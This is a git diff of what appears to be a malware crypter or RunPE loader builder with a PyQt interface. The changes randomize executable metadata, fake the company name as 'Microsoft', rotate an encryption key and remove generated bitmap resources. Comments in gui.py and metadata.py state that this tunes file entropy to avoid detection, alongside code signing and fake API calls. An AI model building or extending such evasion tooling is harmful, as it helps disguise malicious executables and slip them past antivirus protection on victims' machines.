diff --git a/DllExecutor.rc b/DllExecutor.rc index e275e94..d139624 100644 --- a/DllExecutor.rc +++ b/DllExecutor.rc @@ -68,12 +68,12 @@ BEGIN BLOCK "040c04b0" BEGIN VALUE "CompanyName", "Microsoft" - VALUE "FileDescription", "ukulyvqunljimnyxqudx" + VALUE "FileDescription", "sblujwzduxlhnhmiyiri" VALUE "FileVersion", "1.0.0.1" - VALUE "InternalName", "pcqqadv.exe" + VALUE "InternalName", "tkedqel.exe" VALUE "LegalCopyright", "Copyright (C) 2023" - VALUE "OriginalFilename", "ayhotiz.exe" - VALUE "ProductName", "eskjmbf.exe" + VALUE "OriginalFilename", "lgeagvp.exe" + VALUE "ProductName", "aejcvay.exe" VALUE "ProductVersion", "1.0.0.1" END END @@ -84,10 +84,6 @@ BEGIN END MAINICON ICON "C:/Users/patate/Desktop/Programmation/C++/Low-Level/RunPE/icon.ico" -zoixzyunsm BITMAP "img_0.bmp" -kzciawmlhq BITMAP "img_1.bmp" -nzixriywxl BITMAP "img_2.bmp" -iumfepnhqj BITMAP "img_3.bmp" #endif ///////////////////////////////////////////////////////////////////////////// diff --git a/config.h b/config.h index 67f9f86..2583735 100644 --- a/config.h +++ b/config.h @@ -1,2 +1,2 @@ #pragma once -#define KEY "ouqdhoqubnco" \ No newline at end of file +#define KEY "ugifthdrdgrd" \ No newline at end of file diff --git a/gui.py b/gui.py index 9151739..805f66c 100644 --- a/gui.py +++ b/gui.py @@ -10,7 +10,6 @@ """ TODO : - LoadPE (KEKW) - - Good entropy - Good Section sizes - Random Windows API calls (help) @@ -22,7 +21,8 @@ Done : - Change PE metadata (company, description, etc...) - File icon - Code signing - - Add resources (random number of random generated bitmaps) + - Good entropy + - Add resources (random number of random generated bitmaps) --> Not used because it increases the entropy too much """ from PyQt5 import QtCore, QtGui, QtWidgets diff --git a/gui.ui b/gui.ui index 3b4f3a6..9418de7 100644 --- a/gui.ui +++ b/gui.ui @@ -165,6 +165,32 @@ Pass : + + + + 20 + 170 + 75 + 23 + + + + Icon + + + + + + 120 + 160 + 51 + 41 + + + + TextLabel + + diff --git a/metadata.py b/metadata.py index 5e94a56..8c51f7d 100644 --- a/metadata.py +++ b/metadata.py @@ -25,7 +25,7 @@ def generate_bmp(filename): img.save(filename, 'BMP') def change_metadata(icon_file) : - number_of_bmp = GetRandomRange(2, 6) + number_of_bmp = 0#GetRandomRange(2, 6) makes the entropy go to 7.4 for ONE image, so very very very bad f = open("DllExecutor.rc", "r") f_c = f.readlines() f.close() @@ -47,13 +47,19 @@ def change_metadata(icon_file) : elif "ProductName" in line : line = f'\t\t\tVALUE "ProductName", "{GetRandomString(7)}.exe"\n' - elif "MAINICON" in line and icon_file != "": - line = f'MAINICON ICON "{icon_file}"\n' + elif "MAINICON" in line : + if icon_file != "" : + line = f'MAINICON ICON "{icon_file}"\n' + else : + line = f'//MAINICON ICON "{icon_file}"\n' + for i in range(number_of_bmp) : bmp_name = f"img_{i}.bmp" generate_bmp(bmp_name) line += f'{GetRandomString(10)} BITMAP "{bmp_name}"\n' - + + elif "BITMAP" in line : line = "" + o.write(line) o.close() \ No newline at end of file